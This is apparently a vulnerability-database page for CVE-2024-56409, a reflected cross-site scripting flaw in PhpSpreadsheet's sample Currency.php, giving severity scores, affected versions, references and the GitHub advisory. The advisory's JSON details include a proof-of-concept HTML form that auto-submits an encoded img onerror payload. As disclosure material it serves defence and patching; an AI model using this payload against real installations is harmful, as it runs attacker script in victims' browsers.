CVE-2024-56409

Vulnerability from cvelistv5

Published

2025-01-03 17:05

Modified

2025-01-03 18:14

Severity ?

8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

Summary

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

References

▼	URL	Tags
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677

Impacted products

	Vendor	Product	Version
	PHPOffice	PhpSpreadsheet	Version: >= 3.0.0, < 3.7.0 Version: < 1.29.7 Version: >= 2.0.0, < 2.1.6 Version: >= 2.2.0, < 2.3.5

Show details on NVD website

JSON

To clipboard

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fkie_cve-2024-56409

Vulnerability from fkie_nvd

Published

2025-01-03 17:15

Modified

2025-01-03 19:15

Severity ?

8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

Summary

References

▼	URL	Tags
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue."
    },
    {
      "lang": "es",
      "value": "PhpSpreadsheet es una librer\u00eda PHP para leer y escribir archivos de hojas de c\u00e1lculo. Las versiones anteriores a 3.7.0, 2.3.5, 2.1.6 y 1.29.7 son vulnerables a ataques de cross site scripting no autorizado reflejado en el archivo `Currency.php`. Mediante el script `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php`, un atacante puede realizar un ataque de cross site scripting. Las versiones 3.7.0, 2.3.5, 2.1.6 y 1.29.7 contienen un parche para el problema."
    }
  ],
  "id": "CVE-2024-56409",
  "lastModified": "2025-01-03T19:15:12.627",
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ghsa-j2xg-cjcx-4677

Vulnerability from github

Published

2025-01-03 17:06

Modified

2025-01-03 19:17

Severity ?

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

Summary

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Details

Unauthorized Reflected XSS in `Currency.php` file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

```

history.pushState('', '', '/'); document.forms[0].submit();

```

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Show details on source website

JSON

To clipboard

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    "github_reviewed_at": "2025-01-03T17:06:51Z",
    "nvd_published_at": "2025-01-03T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c)\n\n*Figure 9.  A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "id": "GHSA-j2xg-cjcx-4677",
  "modified": "2025-01-03T19:17:18Z",
  "published": "2025-01-03T17:06:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2024-56409

Vulnerability from cvelistv5

fkie_cve-2024-56409

Vulnerability from fkie_nvd

ghsa-j2xg-cjcx-4677

Vulnerability from github

Unauthorized Reflected XSS in Currency.php file

Research

Credit

Tags

Sightings

Nomenclature

Unauthorized Reflected XSS in `Currency.php` file